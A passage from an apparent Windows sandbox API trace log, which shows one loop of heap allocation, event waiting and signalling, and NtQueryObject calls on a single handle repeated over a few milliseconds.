returned 1 [0072.700] SetEvent (hEvent=0x114) returned 1 [0072.700] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.700] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.700] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.700] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.700] ResetEvent (hEvent=0x110) returned 1 [0072.700] SetEvent (hEvent=0x114) returned 1 [0072.700] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.701] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.701] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.701] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.701] ResetEvent (hEvent=0x110) returned 1 [0072.701] SetEvent (hEvent=0x114) returned 1 [0072.701] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.701] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.701] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.701] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.701] ResetEvent (hEvent=0x110) returned 1 [0072.701] SetEvent (hEvent=0x114) returned 1 [0072.701] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.701] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.701] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.701] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.701] ResetEvent (hEvent=0x110) returned 1 [0072.701] SetEvent (hEvent=0x114) returned 1 [0072.702] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.702] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.702] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.702] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.702] ResetEvent (hEvent=0x110) returned 1 [0072.702] SetEvent (hEvent=0x114) returned 1 [0072.702] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.702] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.702] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.702] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.702] ResetEvent (hEvent=0x110) returned 1 [0072.702] SetEvent (hEvent=0x114) returned 1 [0072.702] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.702] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.702] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.703] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.703] ResetEvent (hEvent=0x110) returned 1 [0072.703] SetEvent (hEvent=0x114) returned 1 [0072.703] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.703] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.703] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.703] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.703] ResetEvent (hEvent=0x110) returned 1 [0072.703] SetEvent (hEvent=0x114) returned 1 [0072.703] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.703] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.703] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.703] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.703] ResetEvent (hEvent=0x110) returned 1 [0072.703] SetEvent (hEvent=0x114) returned 1 [0072.703] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.703] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.704] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.704] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.704] ResetEvent (hEvent=0x110) returned 1 [0072.704] SetEvent (hEvent=0x114) returned 1 [0072.704] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.704] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.704] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.704] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.704] ResetEvent (hEvent=0x110) returned 1 [0072.704] SetEvent (hEvent=0x114) returned 1 [0072.704] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.704] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.704] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.704] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.704] ResetEvent (hEvent=0x110) returned 1 [0072.704] SetEvent (hEvent=0x114) returned 1 [0072.705] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.705] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.705] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.705] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.705] ResetEvent (hEvent=0x110) returned 1 [0072.705] SetEvent (hEvent=0x114) returned 1 [0072.705] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.705] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.705] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.705] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.705] ResetEvent (hEvent=0x110) returned 1 [0072.705] SetEvent (hEvent=0x114) returned 1 [0072.705] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.705] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.705] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.705] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.705] ResetEvent (hEvent=0x110) returned 1 [0072.706] SetEvent (hEvent=0x114) returned 1 [0072.706] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.706] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.706] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.706] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.706] ResetEvent (hEvent=0x110) returned 1 [0072.706] SetEvent (hEvent=0x114) returned 1 [0072.706] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.706] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.706] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.706] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.706] ResetEvent (hEvent=0x110) returned 1 [0072.706] SetEvent (hEvent=0x114) returned 1 [0072.706] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.706] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.707] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.707] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.707] ResetEvent (hEvent=0x110) returned 1 [0072.707] SetEvent (hEvent=0x114) returned 1 [0072.707] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.707] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.707] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.707] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.707] ResetEvent (hEvent=0x110) returned 1 [0072.707] SetEvent (hEvent=0x114) returned 1 [0072.707] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.707] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.707] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.707] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.707] ResetEvent (hEvent=0x110) returned 1 [0072.707] SetEvent (hEvent=0x114) returned 1 [0072.707] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.708] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.708] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.708] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.708] ResetEvent (hEvent=0x110) returned 1 [0072.708] SetEvent (hEvent=0x114) returned 1 [0072.708] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.708] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.708] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.708] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.708] ResetEvent (hEvent=0x110) returned 1 [0072.708] SetEvent (hEvent=0x114) returned 1 [0072.708] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.708] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.708] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.708] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.708] ResetEvent (hEvent=0x110) returned 1 [0072.708] SetEvent (hEvent=0x114) returned 1 [0072.709] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.709] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.709] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.709] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.709] ResetEvent (hEvent=0x110) returned 1 [0072.709] SetEvent (hEvent=0x114) returned 1 [0072.709] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.709] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.709] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.709] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.709] ResetEvent (hEvent=0x110) returned 1 [0072.709] SetEvent (hEvent=0x114) returned 1 [0072.709] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.709] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.709] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.709] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.710] ResetEvent (hEvent=0x110) returned 1 [0072.710] SetEvent (hEvent=0x114) returned 1 [0072.710] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.710] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.710] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.710] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.710] ResetEvent (hEvent=0x110) returned 1 [0072.710] SetEvent (hEvent=0x114) returned 1 [0072.710] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.710] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.710] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.710] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.710] ResetEvent (hEvent=0x110) returned 1 [0072.710] SetEvent (hEvent=0x114) returned 1 [0072.710] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.710] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.711] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.711] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.711] ResetEvent (hEvent=0x110) returned 1 [0072.711] SetEvent (hEvent=0x114) returned 1 [0072.711] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.711] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.711] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.711] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.711] ResetEvent (hEvent=0x110) returned 1 [0072.711] SetEvent (hEvent=0x114) returned 1 [0072.711] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.711] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.711] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.711] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.711] ResetEvent (hEvent=0x110) returned 1 [0072.711] SetEvent (hEvent=0x114) returned 1 [0072.711] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.712] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.712] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.712] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.712] ResetEvent (hEvent=0x110) returned 1 [0072.712] SetEvent (hEvent=0x114) returned 1 [0072.712] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.712] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.712] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.712] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.712] ResetEvent (hEvent=0x110) returned 1 [0072.712] SetEvent (hEvent=0x114) returned 1 [0072.712] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.712] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.712] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.712] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.712] ResetEvent (hEvent=0x110) returned 1 [0072.712] SetEvent (hEvent=0x114) returned 1 [0072.713] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.713] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.713] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.713] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.713] ResetEvent (hEvent=0x110) returned 1 [0072.713] SetEvent (hEvent=0x114) returned 1 [0072.713] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.713] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.713] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.713] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.713] ResetEvent (hEvent=0x110) returned 1 [0072.713] SetEvent (hEvent=0x114) returned 1 [0072.713] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.713] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.713] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.713] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.714] ResetEvent (hEvent=0x110) returned 1 [0072.714] SetEvent (hEvent=0x114) returned 1 [0072.714] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.714] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.714] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.714] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.714] ResetEvent (hEvent=0x110) returned 1 [0072.714] SetEvent (hEvent=0x114) returned 1 [0072.714] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.714] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.714] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.714] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.714] ResetEvent (hEvent=0x110) returned 1 [0072.714] SetEvent (hEvent=0x114) returned 1 [0072.714] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.714] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.715] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.715] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.715] ResetEvent (hEvent=0x110) returned 1 [0072.715] SetEvent (hEvent=0x114) returned 1 [0072.715] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.715] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.715] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.715] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.715] ResetEvent (hEvent=0x110) returned 1 [0072.715] SetEvent (hEvent=0x114) returned 1 [0072.715] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.715] WaitForMultipleObjects (nCount=0x2, 